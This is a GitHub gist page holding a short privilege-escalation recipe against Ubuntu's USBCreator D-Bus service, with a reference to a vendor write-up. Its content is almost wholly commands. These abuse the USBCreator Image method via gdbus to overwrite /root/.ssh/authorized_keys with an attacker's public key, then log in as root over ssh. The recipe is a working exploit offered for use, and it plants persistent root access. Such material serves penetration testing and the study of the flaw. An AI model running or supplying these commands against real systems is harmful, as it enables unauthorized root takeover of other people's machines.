Skip to content

Instantly share code, notes, and snippets.

@noobpk
Created September 7, 2020 10:27
Show Gist options
  • Select an option

  • Save noobpk/a4f0a029488f37939c4df6e20472501d to your computer and use it in GitHub Desktop.

Select an option

Save noobpk/a4f0a029488f37939c4df6e20472501d to your computer and use it in GitHub Desktop.
USBCreator D-Bus Privilege Escalation for ssh
#document: https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
#detect
remote-machine> ps auwx | grep usb
remote-machine> echo "attack-machine id_rsa.pub key" > ~/authorized_keys
remote-machine> gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/remote/authorized_keys /root/.ssh/authorized_keys true
attack-machine> ssh -i id_rsa [email protected]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment